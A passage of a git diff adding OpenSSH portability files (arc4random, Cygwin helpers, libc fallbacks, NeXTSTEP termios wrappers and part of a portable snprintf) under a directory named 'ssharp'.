2001/09/19 14:44:59 stealth Exp $"); + +#ifndef HAVE_ARC4RANDOM + +#include +#include +#include + +/* Size of key to use */ +#define SEED_SIZE 20 + +/* Number of bytes to reseed after */ +#define REKEY_BYTES (1 << 24) + +static int rc4_ready = 0; +static RC4_KEY rc4; + +unsigned int arc4random(void) +{ + unsigned int r = 0; + static int first_time = 1; + + if (rc4_ready <= 0) { + if (!first_time) + seed_rng(); + first_time = 0; + arc4random_stir(); + } + + RC4(&rc4, sizeof(r), (unsigned char *)&r, (unsigned char *)&r); + + rc4_ready -= sizeof(r); + + return(r); +} + +void arc4random_stir(void) +{ + unsigned char rand_buf[SEED_SIZE]; + + memset(&rc4, 0, sizeof(rc4)); + if (!RAND_bytes(rand_buf, sizeof(rand_buf))) + fatal("Couldn't obtain random bytes (error %ld)", + ERR_get_error()); + RC4_set_key(&rc4, sizeof(rand_buf), rand_buf); + memset(rand_buf, 0, sizeof(rand_buf)); + + rc4_ready = REKEY_BYTES; +} +#endif /* !HAVE_ARC4RANDOM */ diff --git a/other/ssharp/openbsd-compat/bsd-arc4random.h b/other/ssharp/openbsd-compat/bsd-arc4random.h new file mode 100644 index 0000000..3986202 --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-arc4random.h @@ -0,0 +1,37 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* $Id: bsd-arc4random.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_ARC4RANDOM_H +#define _BSD_ARC4RANDOM_H + +#include "config.h" + +#ifndef HAVE_ARC4RANDOM +unsigned int arc4random(void); +void arc4random_stir(void); +#endif /* !HAVE_ARC4RANDOM */ + +#endif /* _BSD_ARC4RANDOM_H */ diff --git a/other/ssharp/openbsd-compat/bsd-cygwin_util.c b/other/ssharp/openbsd-compat/bsd-cygwin_util.c new file mode 100644 index 0000000..e610454 --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-cygwin_util.c @@ -0,0 +1,119 @@ +/* + * + * cygwin_util.c + * + * Author: Corinna Vinschen + * + * Copyright (c) 2000 Corinna Vinschen , Duisburg, Germany + * All rights reserved + * + * Created: Sat Sep 02 12:17:00 2000 cv + * + * This file contains functions for forcing opened file descriptors to + * binary mode on Windows systems. + */ + +#include "includes.h" + +RCSID("$Id: bsd-cygwin_util.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#ifdef HAVE_CYGWIN + +#include +#include +#include +#include +#define is_winnt (GetVersion() < 0x80000000) + +#if defined(open) && open == binary_open +# undef open +#endif +#if defined(pipe) && open == binary_pipe +# undef pipe +#endif + +int binary_open(const char *filename, int flags, ...) +{ + va_list ap; + mode_t mode; + + va_start(ap, flags); + mode = va_arg(ap, mode_t); + va_end(ap); + return open(filename, flags | O_BINARY, mode); +} + +int binary_pipe(int fd[2]) +{ + int ret = pipe(fd); + + if (!ret) { + setmode (fd[0], O_BINARY); + setmode (fd[1], O_BINARY); + } + return ret; +} + +int check_nt_auth(int pwd_authenticated, uid_t uid) +{ + /* + * The only authentication which is able to change the user + * context on NT systems is the password authentication. So + * we deny all requsts for changing the user context if another + * authentication method is used. + * This may change in future when a special openssh + * subauthentication package is available. + */ + if (is_winnt && !pwd_authenticated && geteuid() != uid) + return 0; + + return 1; +} + +int check_ntsec(const char *filename) +{ + char *cygwin; + int allow_ntea = 0; + int allow_ntsec = 0; + struct statfs fsstat; + + /* Windows 95/98/ME don't support file system security at all. */ + if (!is_winnt) + return 0; + + /* Evaluate current CYGWIN settings. */ + if ((cygwin = getenv("CYGWIN")) != NULL) { + if (strstr(cygwin, "ntea") && !strstr(cygwin, "nontea")) + allow_ntea = 1; + if (strstr(cygwin, "ntsec") && !strstr(cygwin, "nontsec")) + allow_ntsec = 1; + } + + /* + * `ntea' is an emulation of POSIX attributes. It doesn't support + * real file level security as ntsec on NTFS file systems does + * but it supports FAT filesystems. `ntea' is minimum requirement + * for security checks. + */ + if (allow_ntea) + return 1; + + /* + * Retrieve file system flags. In Cygwin, file system flags are + * copied to f_type which has no meaning in Win32 itself. + */ + if (statfs(filename, &fsstat)) + return 1; + + /* + * Only file systems supporting ACLs are able to set permissions. + * `ntsec' is the setting in Cygwin which switches using of NTFS + * ACLs to support POSIX permissions on files. + */ + if (fsstat.f_type & FS_PERSISTENT_ACLS) + return allow_ntsec; + + return 0; +} + +#endif /* HAVE_CYGWIN */ diff --git a/other/ssharp/openbsd-compat/bsd-cygwin_util.h b/other/ssharp/openbsd-compat/bsd-cygwin_util.h new file mode 100644 index 0000000..b5357e8 --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-cygwin_util.h @@ -0,0 +1,35 @@ +/* + * + * cygwin_util.c + * + * Author: Corinna Vinschen + * + * Copyright (c) 2000 Corinna Vinschen , Duisburg, Germany + * All rights reserved + * + * Created: Sat Sep 02 12:17:00 2000 cv + * + * This file contains functions for forcing opened file descriptors to + * binary mode on Windows systems. + */ + +/* $Id: bsd-cygwin_util.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_CYGWIN_UTIL_H +#define _BSD_CYGWIN_UTIL_H + +#ifdef HAVE_CYGWIN + +#include + +int binary_open(const char *filename, int flags, ...); +int binary_pipe(int fd[2]); +int check_nt_auth(int pwd_authenticated, uid_t uid); +int check_ntsec(const char *filename); + +#define open binary_open +#define pipe binary_pipe + +#endif /* HAVE_CYGWIN */ + +#endif /* _BSD_CYGWIN_UTIL_H */ diff --git a/other/ssharp/openbsd-compat/bsd-misc.c b/other/ssharp/openbsd-compat/bsd-misc.c new file mode 100644 index 0000000..832af65 --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-misc.c @@ -0,0 +1,103 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +#include "xmalloc.h" +#include "ssh.h" + +RCSID("$Id: bsd-misc.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +char *get_progname(char *argv0) +{ +#ifdef HAVE___PROGNAME + extern char *__progname; + + return __progname; +#else + char *p; + + if (argv0 == NULL) + return "unknown"; /* XXX */ + p = strrchr(argv0, '/'); + if (p == NULL) + p = argv0; + else + p++; + return p; +#endif +} + +#ifndef HAVE_SETLOGIN +int setlogin(const char *name) +{ + return(0); +} +#endif /* !HAVE_SETLOGIN */ + +#ifndef HAVE_INNETGR +int innetgr(const char *netgroup, const char *host, + const char *user, const char *domain) +{ + return(0); +} +#endif /* HAVE_INNETGR */ + +#if !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) +int seteuid(uid_t euid) +{ + return(setreuid(-1,euid)); +} +#endif /* !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) */ + +#if !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID) +int setegid(uid_t egid) +{ + return(setresgid(-1,egid,-1)); +} +#endif /* !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID) */ + +#if !defined(HAVE_STRERROR) && defined(HAVE_SYS_ERRLIST) && defined(HAVE_SYS_NERR) +const char *strerror(int e) +{ + extern int sys_nerr; + extern char *sys_errlist[]; + + if ((e >= 0) && (e < sys_nerr)) + return(sys_errlist[e]); + else + return("unlisted error"); +} +#endif + +#ifndef HAVE_UTIMES +int utimes(char *filename, struct timeval *tvp) +{ + struct utimbuf ub; + + ub.actime = tvp->tv_sec; + ub.modtime = tvp->tv_usec; + + return(utime(filename, &ub)); +} +#endif diff --git a/other/ssharp/openbsd-compat/bsd-misc.h b/other/ssharp/openbsd-compat/bsd-misc.h new file mode 100644 index 0000000..01f8a6a --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-misc.h @@ -0,0 +1,76 @@ +/* + * Copyright (c) 1999-2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* $Id: bsd-misc.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_MISC_H +#define _BSD_MISC_H + +#include "config.h" + +char *get_progname(char *argv0); + +#ifndef HAVE_SETSID +#define setsid() setpgrp(0, getpid()) +#endif /* !HAVE_SETSID */ + +#ifndef HAVE_SETENV +int setenv(const char *name, const char *value, int overwrite); +#endif /* !HAVE_SETENV */ + +#ifndef HAVE_SETLOGIN +int setlogin(const char *name); +#endif /* !HAVE_SETLOGIN */ + +#ifndef HAVE_INNETGR +int innetgr(const char *netgroup, const char *host, + const char *user, const char *domain); +#endif /* HAVE_INNETGR */ + +#if !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) +int seteuid(uid_t euid); +#endif /* !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) */ + +#if !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID) +int setegid(uid_t egid); +#endif /* !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID) */ + +#if !defined(HAVE_STRERROR) && defined(HAVE_SYS_ERRLIST) && defined(HAVE_SYS_NERR) +const char *strerror(int e); +#endif + + +#ifndef HAVE_UTIMES +#ifndef HAVE_STRUCT_TIMEVAL +struct timeval { + long tv_sec; + long tv_usec; +} +#endif /* HAVE_STRUCT_TIMEVAL */ + +int utimes(char *filename, struct timeval *tvp); +#endif /* HAVE_UTIMES */ + + +#endif /* _BSD_MISC_H */ diff --git a/other/ssharp/openbsd-compat/bsd-nextstep.c b/other/ssharp/openbsd-compat/bsd-nextstep.c new file mode 100644 index 0000000..2239709 --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-nextstep.c @@ -0,0 +1,103 @@ +/* + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +RCSID("$Id: bsd-nextstep.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#ifdef HAVE_NEXT +#include +#include +#include "bsd-nextstep.h" + +pid_t +posix_wait(int *status) +{ + union wait statusp; + pid_t wait_pid; + + #undef wait /* Use NeXT's wait() function */ + wait_pid = wait(&statusp); + if (status) + *status = (int) statusp.w_status; + + return wait_pid; +} + +int +tcgetattr(int fd, struct termios *t) +{ + return (ioctl(fd, TIOCGETA, t)); +} + +int +tcsetattr(int fd, int opt, const struct termios *t) +{ + struct termios localterm; + + if (opt & TCSASOFT) { + localterm = *t; + localterm.c_cflag |= CIGNORE; + t = &localterm; + } + switch (opt & ~TCSASOFT) { + case TCSANOW: + return (ioctl(fd, TIOCSETA, t)); + case TCSADRAIN: + return (ioctl(fd, TIOCSETAW, t)); + case TCSAFLUSH: + return (ioctl(fd, TIOCSETAF, t)); + default: + errno = EINVAL; + return (-1); + } +} + +int tcsetpgrp(int fd, pid_t pgrp) +{ + return (ioctl(fd, TIOCSPGRP, &pgrp)); +} + +speed_t cfgetospeed(const struct termios *t) +{ + return (t->c_ospeed); +} + +speed_t cfgetispeed(const struct termios *t) +{ + return (t->c_ispeed); +} + +int +cfsetospeed(struct termios *t,int speed) +{ + t->c_ospeed = speed; + return (0); +} + +int +cfsetispeed(struct termios *t, int speed) +{ + t->c_ispeed = speed; + return (0); +} +#endif /* HAVE_NEXT */ diff --git a/other/ssharp/openbsd-compat/bsd-nextstep.h b/other/ssharp/openbsd-compat/bsd-nextstep.h new file mode 100644 index 0000000..48de0f1 --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-nextstep.h @@ -0,0 +1,58 @@ +/* + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +/* $Id: bsd-nextstep.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _NEXT_POSIX_H +#define _NEXT_POSIX_H + +#ifdef HAVE_NEXT +#include + +/* NGROUPS_MAX is behind -lposix. Use the BSD version which is NGROUPS */ +#undef NGROUPS_MAX +#define NGROUPS_MAX NGROUPS + +/* NeXT's readdir() is BSD (struct direct) not POSIX (struct dirent) */ +#define dirent direct + +/* Swap out NeXT's BSD wait() for a more POSIX complient one */ +pid_t posix_wait(int *status); +#define wait(a) posix_wait(a) + +/* #ifdef wrapped functions that need defining for clean compiling */ +pid_t getppid(void); +void vhangup(void); +int innetgr(const char *netgroup, const char *host, const char *user, + const char *domain); + +/* TERMCAP */ +int tcgetattr(int fd, struct termios *t); +int tcsetattr(int fd, int opt, const struct termios *t); +int tcsetpgrp(int fd, pid_t pgrp); +speed_t cfgetospeed(const struct termios *t); +speed_t cfgetispeed(const struct termios *t); +int cfsetospeed(struct termios *t, int speed); +int cfsetispeed(struct termios *t, int speed); +#endif /* HAVE_NEXT */ +#endif /* _NEXT_POSIX_H */ diff --git a/other/ssharp/openbsd-compat/bsd-snprintf.c b/other/ssharp/openbsd-compat/bsd-snprintf.c new file mode 100644 index 0000000..14d12fc --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-snprintf.c @@ -0,0 +1,744 @@ +/************************************************************** + * Original: + * Patrick Powell Tue Apr 11 09:48:21 PDT 1995 + * A bombproof version of doprnt (dopr) included. + * Sigh. This sort of thing is always nasty do deal with. Note that + * the version here does not include floating point... + * + * snprintf() is used instead of sprintf() as it does limit checks + * for string length. This covers a nasty loophole. + * + * The other functions are there to prevent NULL pointers from + * causing nast effects. + * + * More Recently: + * Brandon Long 9/15/96 for mutt 0.43 + * This was ugly. It is still ugly. I opted out of floating point + * numbers, but the formatter understands just about everything + * from the normal C string format, at least as far as I can tell from + * the Solaris 2.5 printf(3S) man page. + * + * Brandon Long 10/22/97 for mutt 0.87.1 + * Ok, added some minimal floating point support, which means this + * probably requires libm on most operating systems. Don't yet + * support the exponent (e,E) and sigfig (g,G). Also, fmtint() + * was pretty badly broken, it just wasn't being exercised in ways + * which showed it, so that's been fixed. Also, formated the code + * to mutt conventions, and removed dead code left over from the + * original. Also, there is now a builtin-test, just compile with: + * gcc -DTEST_SNPRINTF -o snprintf snprintf.c -lm + * and run snprintf for results. + * + * Thomas Roessler 01/27/98 for mutt 0.89i + * The PGP code was using unsigned hexadecimal formats. + * Unfortunately, unsigned formats simply didn't work. + * + * Michael Elkins 03/05/98 for mutt 0.90.8 + * The original code assumed that both snprintf() and vsnprintf() were + * missing. Some systems only have snprintf() but not vsnprintf(), so + * the code is now broken down under HAVE_SNPRINTF and HAVE_VSNPRINTF. + * + * Ben Lindstrom 09/27/00 for OpenSSH + * Welcome to the world of %lld and %qd support. With other + * long long support. This is needed for sftp-server to work + * right. + * + * Ben Lindstrom 02/12/01 for OpenSSH + * Removed all hint of VARARGS stuff and banished it to the void, + * and did a bit of KNF style work to make things a bit more + * acceptable. Consider stealing from mutt or enlightenment. + **************************************************************/ + +#include "includes.h" + +RCSID("$Id: bsd-snprintf.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#if defined(BROKEN_SNPRINTF) /* For those with broken snprintf() */ +# undef HAVE_SNPRINTF +# undef HAVE_VSNPRINTF +#endif + +#if !defined(HAVE_SNPRINTF) || !defined(HAVE_VSNPRINTF) + +static void +dopr(char *buffer, size_t maxlen, const char *format, va_list args); + +static void +fmtstr(char *buffer, size_t *currlen, size_t maxlen, char *value, int flags, + int min, int max); + +static void +fmtint(char *buffer, size_t *currlen, size_t maxlen, long value, int base, + int min, int max, int flags); + +static void +fmtfp(char *buffer, size_t *currlen, size_t maxlen, long double fvalue, + int min, int max, int flags); + +static void +dopr_outch(char *buffer, size_t *currlen, size_t maxlen, char c); + +/* + * dopr(): poor man's version of doprintf + */ + +/* format read states */ +#define DP_S_DEFAULT 0 +#define DP_S_FLAGS 1 +#define DP_S_MIN 2 +#define DP_S_DOT 3 +#define DP_S_MAX 4 +#define DP_S_MOD 5 +#define DP_S_CONV 6 +#define DP_S_DONE 7 + +/* format flags - Bits */ +#define DP_F_MINUS (1 << 0) +#define DP_F_PLUS (1 << 1) +#define DP_F_SPACE (1 << 2) +#define DP_F_NUM (1 << 3) +#define DP_F_ZERO (1 << 4) +#define DP_F_UP (1 << 5) +#define DP_F_UNSIGNED (1 << 6) + +/* Conversion Flags */ +#define DP_C_SHORT 1 +#define DP_C_LONG 2 +#define DP_C_LDOUBLE 3 +#define DP_C_LONG_LONG 4 + +#define char_to_int(p) (p - '0') +#define abs_val(p) (p < 0 ? -p : p) + + +static void +dopr(char *buffer, size_t maxlen, const char *format, va_list args) +{ + char *strvalue; + char ch; + long value; + long double fvalue; + int min = 0; + int max = -1; + int state = DP_S_DEFAULT; + int flags = 0; + int cflags = 0; + size_t currlen = 0; + + ch = *format++; + + while (state != DP_S_DONE) { + if ((ch == '\0') || (currlen >= maxlen)) + state = DP_S_DONE; + + switch(state) { + case DP_S_DEFAULT: + if (ch == '%') + state = DP_S_FLAGS; + else + dopr_outch(buffer, &currlen, maxlen, ch); + ch = *format++; + break; + case DP_S_FLAGS: + switch (ch) { + case '-': + flags |= DP_F_MINUS; + ch = *format++; + break; + case '+': + flags |= DP_F_PLUS; + ch = *format++; + break; + case ' ': + flags |= DP_F_SPACE; + ch = *format++; + break; + case '#': + flags |= DP_F_NUM; + ch = *format++; + break; + case '0': + flags |= DP_F_ZERO; + ch = *format++; + break; + default: + state = DP_S_MIN; + break; + } + break; + case DP_S_MIN: + if (isdigit((unsigned char)ch)) { + min = 10*min + char_to_int (ch); + ch = *format++; + } else if (ch == '*') { + min = va_arg (args, int); + ch = *format++; + state = DP_S_DOT; + } else + state = DP_S_DOT; + break; + case DP_S_DOT: + if (ch == '.') { + state = DP_S_MAX; + ch = *format++; + } else + state = DP_S_MOD; + break; + case DP_S_MAX: + if (isdigit((unsigned char)ch)) { + if (max < 0) + max = 0; + max = 10*max + char_to_int(ch); + ch = *format++; + } else if (ch == '*') { + max = va_arg (args, int); + ch = *format++; + state = DP_S_MOD; + } else + state = DP_S_MOD; + break; + case DP_S_MOD: + switch (ch) { + case 'h': + cflags = DP_C_SHORT; + ch = *format++; + break; + case 'l': + cflags = DP_C_LONG; + ch = *format++; + if (ch == 'l') { + cflags = DP_C_LONG_LONG; + ch = *format++; + } + break; + case 'q': + cflags = DP_C_LONG_LONG; + ch = *format++; + break; + case 'L': + cflags = DP_C_LDOUBLE; + ch = *format++; + break; + default: + break; + } + state = DP_S_CONV; + break; + case DP_S_CONV: + switch (ch) { + case 'd': + case 'i': + if (cflags == DP_C_SHORT) + value = va_arg(args, int); + else if (cflags == DP_C_LONG) + value = va_arg(args, long int); + else if (cflags == DP_C_LONG_LONG) + value = va_arg (args, long long); + else + value = va_arg (args, int); + fmtint(buffer, &currlen, maxlen, value, 10, min, max, flags); + break; + case 'o': + flags |= DP_F_UNSIGNED; + if (cflags == DP_C_SHORT) + value = va_arg(args, unsigned int); + else if (cflags == DP_C_LONG) + value = va_arg(args, unsigned long int); + else if (cflags == DP_C_LONG_LONG) + value = va_arg(args, unsigned long long); + else + value = va_arg(args, unsigned int); + fmtint(buffer, &currlen, maxlen, value, 8, min, max, flags); + break; + case 'u': + flags |= DP_F_UNSIGNED; + if (cflags == DP_C_SHORT) + value = va_arg(args, unsigned int); + else if (cflags == DP_C_LONG) + value = va_arg(args, unsigned long int); + else if (cflags == DP_C_LONG_LONG) + value = va_arg(args, unsigned long long); + else + value = va_arg(args, unsigned int); + fmtint (buffer, &currlen, maxlen, value, 10, min, max, flags); + break; + case 'X': + flags |= DP_F_UP; + case 'x': + flags |= DP_F_UNSIGNED; + if (cflags == DP_C_SHORT) + value = va_arg(args, unsigned int); + else if (cflags == DP_C_LONG) + value = va_arg(args, unsigned long int); + else if (cflags == DP_C_LONG_LONG) + value = va_arg(args, unsigned long long); + else + value = va_arg(args, unsigned int); + fmtint(buffer, &currlen, maxlen, value, 16, min, max, flags); + break; + case 'f': + if (cflags == DP_C_LDOUBLE) + fvalue = va_arg(args, long double); + else + fvalue = va_arg(args, double); + /* um, floating point? */ + fmtfp(buffer, &currlen, maxlen, fvalue, min, max, flags); + break; + case 'E': + flags |= DP_F_UP; + case 'e': + if (cflags == DP_C_LDOUBLE) + fvalue = va_arg(args, long double); + else + fvalue = va_arg(args, double); + break; + case 'G': + flags |= DP_F_UP; + case 'g': + if (cflags == DP_C_LDOUBLE) + fvalue = va_arg(args, long double); + else + fvalue = va_arg(args, double); + break; + case 'c': + dopr_outch(buffer, &currlen, maxlen, va_arg(args, int)); + break; + case 's': + strvalue = va_arg(args, char *); + if (max < 0) + max = maxlen; /* ie, no max */ + fmtstr(buffer, &currlen, maxlen, strvalue, flags, min, max); + break; + case 'p': + strvalue = va_arg(args, void *); + fmtint(buffer, &currlen, maxlen, (long) strvalue, 16, min, max, flags); + break; + case 'n': + if (cflags == DP_C_SHORT) { + short int *num; + num = va_arg(args, short int *); + *num = currlen; + } else if (cflags == DP_C_LONG) { + long int *num; + num = va_arg(args, long int *); + *num = currlen; + } else if (cflags == DP_C_LONG_LONG) { + long long *num; + num = va_arg(args, long long *); + *num = currlen; + } else { + int *num; + num = va_arg(args, int *); + *num = currlen; + } + break; + case '%': + dopr_outch(buffer, &currlen, maxlen, ch); + break; + case 'w': /* not supported yet, treat as next char */ + ch = *format++; + break; + default: /* Unknown, skip */ + break; + } + ch = *format++; + state = DP_S_DEFAULT; + flags = cflags = min = 0; + max = -1; + break; + case DP_S_DONE: + break; + default: /* hmm? */ + break; /* some picky compilers need this */ + } + } + if (currlen < maxlen - 1) + buffer[currlen] = '\0'; + else + buffer[maxlen - 1] = '\0'; +} + +static void +fmtstr(char *buffer, size_t *currlen, size_t maxlen, + char *value, int flags, int min, int max) +{ + int padlen, strln; /* amount to pad */ + int cnt = 0; + + if (value == 0) + value = ""; + + for (strln = 0; value[strln]; ++strln); /* strlen */ + padlen = min - strln; + if (padlen < 0) + padlen = 0; + if (flags & DP_F_MINUS) + padlen = -padlen; /* Left Justify */ + + while ((padlen > 0) && (cnt < max)) { + dopr_outch(buffer, currlen, maxlen, ' '); + --padlen; + ++cnt; + } + while (*value && (cnt < max)) { + dopr_outch(buffer, currlen, maxlen, *value++); + ++cnt; + } + while ((padlen < 0) && (cnt < max)) { + dopr_outch(buffer, currlen, maxlen, ' '); + ++padlen; + ++cnt; + } +} + +/* Have to handle DP_F_NUM (ie 0x and 0 alternates) */ + +static void +fmtint(char *buffer, size_t *currlen, size_t maxlen, + long value, int base, int min, int max, int flags) +{ + unsigned long uvalue; + char convert[20]; + int signvalue = 0; + int place = 0; + int spadlen = 0; /* amount to space pad */ + int zpadlen = 0; /* amount to zero pad */ + int caps = 0; + + if (max < 0) + max = 0; + + uvalue = value; + + if (!(flags & DP_F_UNSIGNED)) { + if (value < 0) { + signvalue = '-'; + uvalue = -value; + } else if (flags & DP_F_PLUS) /* Do a sign (+/i) */ + signvalue = '+'; + else if (flags & DP_F_SPACE) + signvalue = ' '; + } + + if (flags & DP_F_UP) + caps = 1; /* Should characters be upper case? */ + + do { + convert[place++] = + (caps? "0123456789ABCDEF":"0123456789abcdef") + [uvalue % (unsigned)base]; + uvalue = (uvalue / (unsigned)base ); + } while (uvalue && (place < 20)); + if (place == 20) + place--; + convert[place] = 0; + + zpadlen = max - place; + spadlen = min - MAX (max, place) - (signvalue ? 1 : 0); + if (zpadlen < 0) + zpadlen = 0; + if (spadlen < 0) + spadlen = 0; + if (flags & DP_F_ZERO) { + zpadlen = MAX(zpadlen, spadlen); + spadlen = 0; + } + if (flags & DP_F_MINUS) + spadlen = -spadlen; /* Left Justifty */ + + + /* Spaces */ + while (spadlen > 0) { + dopr_outch(buffer, currlen, maxlen, ' '); + --spadlen; + } + + /* Sign */ + if (signvalue) + 